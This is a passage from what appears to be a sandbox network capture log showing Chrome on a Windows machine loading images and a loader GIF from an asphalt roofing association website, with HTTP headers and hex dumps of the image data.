2024-04-23 14:53:51 UTC	890	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:51 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1p3Xz5HIZ2ptWnxGE818qMEqj3dqbvAv6otYM485f4jQ0vgezS5bc%2B7sNSr8iEIwPGPvG%2FfAz6GrP5ejGtA9xEqDrBLZtP6xFmSI4zFvTTEerJqw76uilJyLhu6AzlK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf7c1ddf4526-ATL
2024-04-23 14:53:51 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49827	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:51 UTC	811	OUT	GET /wp-content/uploads/2023/02/Residential-Manual-Digital-Version-Web-Images_1900x400.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
2024-04-23 14:53:51 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:51 GMT Content-Type: image/png Content-Length: 26891 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 10 Feb 2023 18:45:08 GMT ETag: "c21070-690b-5f45ce581bcb6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	7676	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 84 50 4c 54 45 ff ff ff ee f0 f1 f4 ed ed eb dc dc df e0 e2 ec d7 d4 e0 ca c7 cc cb cb ea b8 ab d8 ba b7 b7 b7 b9 d0 aa a5 df 96 87 c9 9a 96 a0 a2 a5 c1 8b 84 d1 79 6b bb 7d 75 7d 7e 81 cb 5e 54 b0 67 60 89 6a 64 a8 54 4f 93 5d 50 6c 69 68 c6 42 42 64 61 61 a1 45 44 71 58 52 c8 2b 3b c1 21 33 97 35 35 90 29 2c 61 3d 3a 4a 46 46 85 1f 22 90 19 24 74 1f 18 7e 19 1c 74 13 15 6c 10 13 49 1f 1d 2a 26 27 04 07 07 c1 3e 01 f7 00 00 68 42 49 44 41 54 78 da ec 9d 8b 7a da 3c b0 ae 01 d7 6e 54 e1 08 05 fd 6a a8 16 c8 ab 4e 21 bb fb fe ef 6f 3d 33 b2 8d cf 98 53 43 da ef 6b 9b 26 c4 f8 6c bd cc 68 0e b3 37 08 82 20 08 82 ee aa 19 4e 01 04 41 10 04 01 b6 10 04 Data Ascii: PNGIHDRlU`PLTEyk}u}~^Tg`jdTO]PlihBBdaaEDqXR+;!355),a=:JFF"$t~tlI*&'>hBIDATxz<nTjN!o=3SCk&lh7 NA
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: b1 90 5a b9 b2 81 5f b0 61 8f 21 c9 5c e1 62 7f 28 dd cb ef 47 2f 73 09 5b f2 31 93 69 1b aa 61 d8 07 b2 6c 4d d3 97 ab 7b 9f 3e d3 f8 64 58 78 9f b2 e4 8c 95 4c da cc 84 7d ad 31 ff 8c 41 a5 ee 31 f2 ed a7 b1 1e 27 d1 70 6b bb 37 3d f5 69 9c b0 67 77 80 ed f0 61 01 b6 67 0d 4b 77 bd 7c 0f 0c db db de 40 03 fe 82 b7 f0 2c 15 c1 58 7f 1c b6 b7 78 bc ff 69 d8 6a 29 52 ea 50 1b 27 42 97 f6 6b 3d 9c 98 cb 44 69 eb 0a d7 31 a3 57 cb b8 16 61 ac a2 45 19 8e 6c 9d 57 8d 34 db 3a 6d a3 34 db 7b da 80 a6 76 07 05 6c 7d c0 ed 9e 2b 5a 70 01 64 ee 22 bf 7f af 6c da 0a b6 7b 82 6d c8 c1 2d ea 49 ed 73 7f 4c b9 fd f0 da c8 51 eb 16 8c fa 9c 2e 69 d3 0a 4d da 0b 9c 5e c9 a4 cd 4c d9 d7 53 33 bd 03 83 8a 1d 9a b9 51 6f 6f c9 80 33 49 bc bd c9 89 4f 63 74 e1 1c f4 b5 63 Data Ascii: Z_a!\b(G/s[1ialM{>dXxL}1A1'pk7=igwagKw\|@,Xxij)RP'Bk=Di1WaElW4:m4{vl}+Zpd"l{m-IsLQ.iM^LS3Qoo3IOctc
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: c3 0f a1 19 41 59 c3 31 d4 65 cc d8 5e f5 bf 68 66 b6 72 1b 53 d4 94 4e a9 c2 b2 51 69 22 d2 50 1a 92 12 7c b8 4a 24 f5 39 a0 96 f4 8a fe 19 c5 e5 21 33 bf cf 9d e3 fa 15 14 29 cd 95 ad b8 13 20 4d dc 3a 1f 8a 59 28 6a 52 64 3e 3e 1a 79 8c 82 4d c3 2c b1 45 1b 5a dd 19 a8 4e af 64 fa 66 06 56 6a 7b 63 3a 1a 03 a3 ef 5f bd ec 84 70 14 2b 6c 2d 57 cd 0b ba d1 a8 2f 75 c1 9e 5d a5 73 0f 2b 3c c1 05 20 68 60 91 ba 66 67 f9 b7 37 4e 54 d4 fc 82 3e d6 cf 94 03 f9 58 05 6d 35 15 ed d1 49 ff 81 0d 6d ad b3 eb aa 6b a1 24 cd 41 a9 3a 88 de fd d1 6d 9b 26 f2 8d 33 22 7b 57 7e 83 1b ab ff 9c b5 86 58 fb 66 a2 56 74 43 cf 29 98 f7 5e ca 0b 8f 2c 9d 30 21 73 d1 0d 54 de ff 54 38 a2 2c d7 94 f4 ba dc 7b 97 90 fd cf 41 cf 45 9d 76 8f 24 e7 cf 43 5d fc 78 9f be 18 d3 ef Data Ascii: AY1e^hfrSNQi"P\|J$9!3) M:Y(jRd>>yM,EZNdfVj{c:_p+l-W/u]s+< h`fg7NT>Xm5Imk$A:m&3"{W~XfVtC)^,0!sTT8,{AEv$C]x
2024-04-23 14:53:51 UTC	2831	IN	Data Raw: 06 60 fb cf c2 76 42 98 53 3b b3 f6 34 44 b7 b7 b2 6c e1 46 fe ab 61 3b 4f 6c dd 44 9d 02 db b9 ac a7 97 98 64 3e 0d b6 75 03 2e 3d 0e fd c5 98 18 35 51 60 1b 4d fc 84 ed df 60 47 e6 3c d8 4e 5d 71 2f 6c 33 dd 87 38 d5 eb 02 48 c7 6a 23 b7 77 7b ec 44 4d 81 ad 1a 6a 16 38 74 b4 bd 97 79 f8 82 74 8e b4 b9 a8 95 f3 1b c2 56 76 61 3b b6 bd da 67 8a b4 69 e8 bb 39 60 fb 8f c3 76 18 9b 3d e5 2a b6 d3 3d c8 d7 38 99 61 d9 fe 4b b0 9d cf 65 08 2a 36 ba 13 77 3b 58 5a 48 16 61 a0 5a 47 63 c6 5d 0b 6e 22 6c 48 f3 02 69 67 d6 53 17 c1 cd 59 73 ad c5 5b 6d cf 06 fb 8e e5 2c d8 4e 5c 71 07 b6 5e 6b d1 6f 4f aa 06 af 6c 68 61 1e 8d d6 46 6e ef f6 d8 89 9a 02 db 68 d8 27 de 7f b4 43 97 79 e0 82 f4 15 c8 28 17 35 3a e9 33 4c 2f 87 6d 3b 9d f9 c4 f6 ba 55 2e 9a 85 32 01 Data Ascii: `vBS;4DlFa;OlDd>u.=5Q`M`G<N]q/l38Hj#w{DMj8tytVva;gi9`v==8aKe6w;XZHaZGc]n"lHigSYs[m,N\q^koOlhaFnh'Cy(5:3L/m;U.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49828	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:51 UTC	697	OUT	GET /wp-content/plugins/revslider/public/assets/assets/loader.gif HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:51 GMT Content-Type: image/gif Content-Length: 2545 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b78-9f1-5b419ed2ec280" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	2545	IN	Data Raw: 47 49 46 38 39 61 18 00 18 00 f4 00 00 ff ff ff 00 00 00 ce ce ce fa fa fa e0 e0 e0 b0 b0 b0 e8 e8 e8 8e 8e 8e c8 c8 c8 9c 9c 9c d8 d8 d8 a8 a8 a8 c0 c0 c0 f2 f2 f2 76 76 76 86 86 86 b8 b8 b8 68 68 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 00 07 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 18 00 18 00 00 05 ae 20 20 8e 24 00 41 65 5a 0e 0a f9 3c e4 a0 92 84 c3 8c 51 34 36 84 3c 8b 0f 07 41 94 13 0d 08 c3 9f 88 e1 48 00 61 00 03 a1 a1 3a 92 0e 0e ea 49 44 30 c4 46 84 c3 01 61 5c 78 47 83 33 80 d7 1b 21 c4 09 df 4f 3a 2d 19 16 87 82 52 6a Data Ascii: GIF89avvvhhh!Created with ajaxload.info!!NETSCAPE2.0, $AeZ<Q46<AHa:ID0Fa\xG3!O:-Rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49831	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:51 UTC	777	OUT	GET /wp-content/uploads/2022/05/V2-Banner-1900x400-1.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
2024-04-23 14:53:52 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:51 GMT Content-Type: image/png Content-Length: 292665 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 20 May 2022 19:38:44 GMT ETag: "1e22194-47739-5df76a3651900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 48 50 4c 54 45 ff ff ff e1 e4 e4 cc ce d1 be c0 c3 b3 b5 b8 a9 ab af a1 a2 a6 99 9a 9e 92 92 96 8b 8b 8f 83 84 88 8b 71 96 7b 7b 7f 71 71 74 65 65 68 54 55 56 28 5c 28 24 59 25 21 56 22 1f 53 1f 3d 3c 3c 1b 50 1c 17 4b 17 1e 1c 1a 63 cd fe dd 00 04 76 ac 49 44 41 54 78 da 94 bc d9 72 eb 48 b0 64 bb 91 31 79 f8 f1 88 7c 81 99 fe ff 4f fb 01 da 55 75 ad ef 79 68 18 05 4a 24 01 6a e4 4a 1f 42 7f 66 7b 2f a5 ae 9d 19 2d 6a ee dd bb 7b 77 95 2d ae c5 dd bd 77 11 9a c0 0e 8e 76 ee de d6 f4 2a 1b 16 5e 52 9c 3c 39 7b 6f cf 7a c4 ec 30 4e fa 99 3b 73 e7 4e 21 ef ee 2c 8e 8f 26 7b 5f ed db c7 9f b9 d3 18 70 9a d3 57 35 bb 0c 7a dc 1e 69 56 c5 69 6e e5 50 c0 Data Ascii: PNGIHDRlU`HPLTEq{{qqteehTUV(\($Y%!V"S=<<PKcvIDATxrHd1y\|OUuyhJ$jJBf{/-j{w-wv*^R<9{oz0N;sN!,&{_pW5ziVinP
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 52 76 41 d5 ce 06 68 96 81 c2 72 a7 be 39 8a c5 70 bb a7 3f 00 57 cc dc 56 cf a0 35 b3 ac e0 5d 8a 33 95 24 e6 96 d1 bb 4a 42 71 46 89 ea 39 c8 50 b2 66 97 96 dd 38 35 d3 48 ec 6c 79 94 ab 0a e0 28 39 39 71 73 7f 26 ce 31 cf 38 c7 d2 cc ed d8 c9 e3 71 cc cb cc f2 a9 93 99 df 12 df 4f 5a c2 30 19 55 59 69 71 22 19 05 2f 6b 4f fb 63 e8 a7 65 5b 76 4e 3d 16 35 22 02 ce 88 66 d8 9d e9 75 72 24 24 ab 93 1e ea 5e 01 08 0a 7b 6f 05 d1 86 aa 60 65 17 2a 3d ea 9c fe 8a 2b 54 32 c1 08 21 8a 4a 69 7a 80 aa 45 54 5b 21 85 6c b1 0f 5c a8 2a 25 86 1a 5e 78 8b 70 4b 4b ab 53 d8 ca 72 0f 73 a6 94 9e 91 a9 16 59 de 6e df 78 6c 56 17 f3 64 10 99 11 d6 8e 38 85 a6 f6 af d6 bc ff ad 1d bd ef dd f7 de 7f e7 51 7f fe 1f 71 fa 0b ed bf 49 ee 87 e6 fb 77 46 f5 e7 15 01 46 77 45 Data Ascii: RvAhr9p?WV5]3$JBqF9Pf85Hly(99qs&18qOZ0UYiq"/kOce[vN=5"fur$$^{o`e=+T2!JizET[!l\%^xpKKSrsYnxlVd8QqIwFFwE
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 48 00 93 09 4c 5f 5d 4f 54 83 81 b8 fa 5f 8f ca 26 3f fa 50 a1 c8 6e 0c 0a 99 d1 c8 8e 77 44 45 5c c2 ef ee 54 ce ef 2d 5b 8e fd de c5 bf 98 56 11 15 39 5f 6e 80 c8 c5 38 5c 3d 93 dc d3 2c 59 60 02 59 01 e6 af bb b3 48 8f aa 02 ca 22 d9 fb e2 af ab f6 36 65 76 f9 16 a2 66 f6 01 33 6e db ac a2 62 77 d8 7c 25 3f 6a 61 e6 16 2a 96 ee 73 f7 ad e9 56 45 20 25 7e 45 59 77 61 f8 e1 80 33 2e c8 c9 0c 15 96 61 d1 fb 0e e3 eb 9c 2d ae 8f cb 43 2d a2 50 a9 37 04 fe 3a 68 45 34 c2 d4 c3 bc ca cd e5 0b 51 b8 b0 ab 9a 65 dc e3 50 b8 7b 44 46 a5 eb b7 33 f5 8b e3 b8 d3 70 37 73 d3 6b f8 31 cb 74 15 d1 0c b5 70 09 fe 72 38 5c a3 70 31 16 77 cd 8d ca 08 37 8f ba 6b 57 94 9b 47 dc 14 83 ac be e4 c6 6f 75 fe 59 95 2f 85 fa b7 f8 de 0b 7a 64 46 98 45 21 3c cb ff b0 07 73 19 Data Ascii: HL_]OT_&?PnwDE\T-[V9_n8\=,Y`YH"6evf3nbw\|%?ja*sVE %~EYwa3.a-C-P7:hE4QeP{DF3p7sk1tpr8\p1w7kWGouY/zdFE!<s
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: ec 8a c2 f4 24 62 27 1a 33 6e 5c f7 1e e7 d6 92 3b fd ee 12 5d de 86 ea a6 44 f4 30 2a 8b 33 48 d1 d4 73 e4 31 c9 06 29 26 59 0e ce 2e 4b 13 05 53 15 b0 3b 97 a9 39 2c 14 e1 27 06 fb 36 25 2f 88 ac 7a bb 81 ed fd 59 f4 cd 26 f7 2e 2f 55 0b 55 cd b1 ae e9 ca 69 6e cc fd 4c 0f bb 3b 33 b0 9d 3b ad b9 dd 31 4e 16 66 3a 86 d8 ec 5d b0 e4 e4 a0 99 dc 41 76 9d 66 b5 5a 25 de 97 d9 64 b6 ad d0 7b 38 55 c3 04 86 eb 40 6d 0d 6f 50 eb 38 e4 91 41 63 d0 62 3d a3 c7 8f c7 98 fb 09 ae 3d e9 95 7e 9e 53 b2 d3 3d 76 14 30 a9 8c 85 98 4e 87 fb 91 16 3d 22 71 14 7a a0 42 ba 08 2f 3e 1c 3f af 3d ae 13 69 51 7a 9e d4 64 89 a6 0f 67 9a c7 30 54 77 69 f7 b4 38 a6 c0 b4 58 73 90 d3 9b d6 92 5d 7c 4e 0a 9e a6 1e f7 e9 ce e8 cc 77 ba 99 c3 63 38 a0 ba 61 09 e9 c2 8a 95 6e 93 6b Data Ascii: $b'3n\;]D0*3Hs1)&Y.KS;9,'6%/zY&./UUinL;3;1Nf:]AvfZ%d{8U@moP8Acb==~S=v0N="qzB/>?=iQzdg0Twi8Xs]\|Nwc8ank
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 73 aa f3 77 f7 bc 5b 3b d3 6f e2 dc ed dd ad 9a ee ed d9 de de fb e0 9c 99 4c 92 59 71 50 e5 5d dd ed 3b 11 4e a9 49 6f b2 87 3d 6d 5a 76 8c 53 41 ef c2 63 31 9e e7 f1 08 54 a3 ac ba cb 23 73 aa 01 a1 76 27 c7 ec e8 e8 70 26 a1 1f af 0a 06 c3 ba a6 d1 93 56 c9 65 91 35 49 ef 02 18 4d 37 56 07 19 f5 1a c7 e9 de 5d d5 43 32 49 85 2f 33 1a d3 de 9d 88 9e de a0 ef bb dd cf 0d 44 c7 4c 79 20 a2 89 aa 93 8e 72 47 8c 38 06 e9 29 1c 6d 05 00 a4 7e 2c 3a 8f 4c b7 23 32 f2 14 0f 24 26 0e a5 cc 10 6e 9f 50 b4 87 29 3d a6 01 70 96 f1 18 31 24 bd 32 9b c7 35 d2 ab c8 2c 87 14 18 59 06 e0 03 c3 c7 11 46 b0 3c 52 20 53 5d 9d 79 b4 ba ab b1 97 33 65 5c f2 15 83 d5 04 2b 32 6e 77 54 25 98 44 70 2b 82 d1 51 8a 77 a6 42 b9 e5 44 cc 8c b4 aa 84 ba b9 24 02 40 45 22 15 fe d6 Data Ascii: sw[;oLYqP];NIo=mZvSAc1T#sv'p&Ve5IM7V]C2I/3DLy rG8)m~,:L#2$&nP)=p1$25,YF<R S]y3e\+2nwT%Dp+QwBD$@E"
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c5 03 be b7 48 7a 11 0f 2f 7b 73 25 e0 7d 21 49 ef be db 35 ec 8f d6 3b ff 1b 52 e1 6f 5e f8 5f b5 9a 9f 9f f7 15 c1 2e 8f 70 03 85 a2 42 44 66 87 dd 1d 7a 10 08 a9 b6 c7 9d 1d 66 1a 1a 0c 68 1c 0c 66 82 43 6d 57 2f 17 f5 63 62 93 3c 42 1c 45 b6 1e 95 47 ed a4 98 66 1d 55 7f fc dd f7 ae 79 61 3d b8 da 37 54 4f 60 d9 fd 6e f4 4c 4c 07 7b c8 2e 56 79 cf ce cc 76 ba e7 54 bd 53 d3 d5 2e 33 5b c4 4e ed be 59 3d b3 f4 5b 5e ed 65 33 87 bd b1 2c ee bc 57 e8 cd e9 bd 24 a6 97 3b 91 a4 33 66 7f 16 44 72 9a c8 ec 99 77 27 3b 38 33 3d d3 1b cd e9 9d f0 9a c8 ae 9c cc ce c0 32 8b a4 b3 30 dd cc 46 95 47 6b 68 16 93 11 bd b3 3d da be 3d 9c 6e 56 0d 3d aa ad d0 86 51 e9 ea a5 4f ce b0 fb 86 82 b0 c5 39 bb c5 b0 8e 69 c6 7a ce 87 3b 83 4e 47 6f ec 89 ed de e8 c8 61 97 Data Ascii: Hz/{s%}!I5;Ro^_.pBDfzfhfCmW/cb<BEGfUya=7TO`nLL{.VyvTS.3[NY=[^e3,W$;3fDrw';83=20FGkh==nV=QO9iz;NGoa
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 22 d1 52 45 89 86 77 52 a8 7e da 19 a8 25 8a 96 8b 7a fa 67 dc c6 ed 48 26 a7 7a 82 e7 78 4c 43 15 93 19 32 10 8d ed 66 1c 63 ba 6b d1 54 7c aa 2a 50 93 21 8e f2 a9 f3 88 8b 98 53 3b ca 74 86 e6 d9 1e 29 6e 5e f3 63 31 89 84 01 60 a1 da 2c 18 dd e9 4d 74 66 38 98 19 39 ef 76 1c 9f a6 5b b0 bb 50 99 d0 2a 91 c7 6b 18 7e aa 2a d1 e3 d5 61 77 93 12 f6 88 df 25 89 13 5d f0 a8 0c f8 23 ac 68 8b 88 80 3a ab 58 68 51 99 4a 57 d8 9a d3 cc 7c c2 25 23 2c e3 c2 71 a7 cc f5 36 65 e2 f1 08 c3 26 3d 54 24 e3 c6 2c d5 54 b4 dd a2 e9 36 1e a9 47 d4 8e 54 e9 23 89 47 e3 88 d5 47 0e 8c b2 a3 74 97 90 48 c7 74 54 aa 87 db 39 71 8e 89 9d 23 21 e2 47 e4 9c bb 38 85 9d eb 0d 38 22 61 66 a7 ae e2 dd 4d 3d c4 e2 dc c8 8f 8b 8a a6 88 df 90 e6 ac 8a bb cb 51 b7 23 e2 ee 72 43 2b Data Ascii: "REwR~%zgH&zxLC2fckT\|P!S;t)n^c1`,Mtf89v[Pk~*aw%]#h:XhQJW\|%#,q6e&=T$,T6GT#GGtHtT9q#!G88"afM=Q#rC+
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 59 27 44 dc e2 9c 28 cb 63 76 3c c4 e2 e3 ff 47 f2 65 e5 11 cf b8 b6 1c b2 22 5d 82 a3 47 b5 3a 50 99 03 13 2d 96 9c 08 3d ae ae fe 59 77 45 bc 52 1c 70 11 86 47 08 f4 a8 8b 9c a3 7a 8e 4a 86 9f 73 4e a8 a9 1e 3d 22 82 d2 73 d4 e2 b1 10 4b f7 6b f4 39 c7 8f 1f fd b2 45 aa e6 7a 8e bb 5b 45 54 cf 38 a5 42 44 cc cd cd ec 9c e7 92 ff 45 8e e7 2d ae f2 f9 e3 dd 6e 22 f5 76 b3 76 ae 4d c0 2e eb e9 f6 c3 4c 74 7f 7a 57 54 65 15 2a a3 c0 cc 0c cf c2 5d e7 be 13 76 7f 46 b9 c9 f9 5c 3a f7 ce 5a cc dc 44 6e b8 a9 38 f4 aa 1e e2 16 c6 db 3d ce fe 06 57 6f 0c 74 d8 ff a6 64 7e 99 10 df e9 d2 3f ae b8 df 02 39 dd c3 24 9b 60 65 b2 48 20 13 4d 54 a1 6e 61 6d 5e 04 0d f1 15 d9 22 81 22 ab c0 d9 ee be d5 95 64 f7 7d 79 37 7f 7b d5 fb 0e 40 f4 cc be 03 54 06 aa 66 e8 4c Data Ascii: Y'D(cv<Ge"]G:P-=YwERpGzJsN="sKk9Ez[ET8BDE-n"vvM.LtzWTe*]vF\:ZDn8=Wotd~?9$`eH MTnam^""d}y7{@TfL
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 7f 8e 6a 4d 3d db a9 9f 14 40 a2 c4 db d4 22 2d 6d 3c dd d4 58 1e 1a a6 61 1d a6 62 1e 11 6e 99 aa 12 59 65 91 51 fa fe ab 5b fd f9 f9 ef 2a fa ff 51 52 ff ad c2 ff ac 4b ef de ed b9 ee db e1 82 84 79 44 01 95 99 f6 31 1f 23 cc dd 51 ee 9f 64 4f dc dd cc 3c c3 cc 33 aa cc ed a3 33 9b 17 87 fb 37 cf 3a df 35 d1 0e 8e 89 2f d9 ca f9 98 4f bf 17 44 33 5f d9 02 eb 03 46 7c c3 59 ce 07 0b f8 ad 5f c0 bc 6f e8 17 64 b2 c8 70 33 b3 c8 f8 fd e6 82 95 5d 11 1e e9 e6 bf 71 d6 ef 3c 18 ec fa 9c f4 24 b2 d1 9d 98 5f 94 22 49 f8 77 48 45 74 45 74 35 41 0c 0a ec 6e 14 3e ae 71 67 77 81 bb 4c 37 55 af ef e0 a2 ab eb 2b e8 20 1a 83 ca fe 4e 99 3f f4 e4 37 6a fe dc 3e df fa b8 7a ee 45 44 44 7f 0d 6e 64 fd a1 3b 31 4c 77 76 f5 a5 61 86 b8 77 8b db b5 5f 5e 16 bf 3f d9 0f Data Ascii: jM=@"-m<XabnYeQ[*QRKyD1#QdO<337:5/OD3_F\|Y_odp3]q<$_"IwHEtEt5An>qgwL7U+ N?7j>zEDDnd;1Lwvaw_^?
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 9d 47 ef ff 66 29 fe fd ed 68 a0 d3 04 40 6a a6 48 30 dc 49 76 46 84 7a 84 69 a8 7e ec 81 fb 44 1e 3d 5f 28 a0 a3 87 0f 66 32 fb f3 44 4e 77 2d 8b d3 9d b5 33 d5 cc 04 b9 ec 64 37 f3 73 e0 cc d1 1f 75 f1 30 85 45 aa 9a c5 47 90 80 87 c1 b4 69 2a 12 9f cd 4f ed 77 d2 7e fd 62 fd de 77 03 39 5d c9 1f 63 a9 bb 81 6a 07 f0 ed 4d 6b ba 50 dd 19 e0 67 81 f5 88 ac fe 12 c2 f5 5f 5c a9 32 bb be ca 4b a6 67 f6 fb ce 77 c2 9b b9 39 cc a1 6a ea 6e 6e 81 f4 6f ce 6d df 83 80 28 22 fe 0b 0a d7 af 01 94 bf 01 30 1b e1 4e 98 67 44 66 e7 77 0f fd 26 cd 01 cf 74 03 33 90 f0 28 e4 5d 27 8a 55 59 5c a8 59 b8 45 03 40 38 32 11 4c 8f 4c b8 aa 23 bf 80 d5 7f fc 48 54 15 f0 d1 ac 2a 1d 89 b9 5b 32 91 ff cc 0d f6 6a 6a aa 6e de bb 5d ef dd 99 bd e1 25 09 ce 8f 65 3c b7 bd dd ac Data Ascii: Gf)h@jH0IvFzi~D=_(f2DNw-3d7su0EGiOw~bw9]cjMkPg_\2Kgw9jnnom("0NgDfw&t3(]'UY\YE@82LL#HT[2jjn]%e<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49832	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
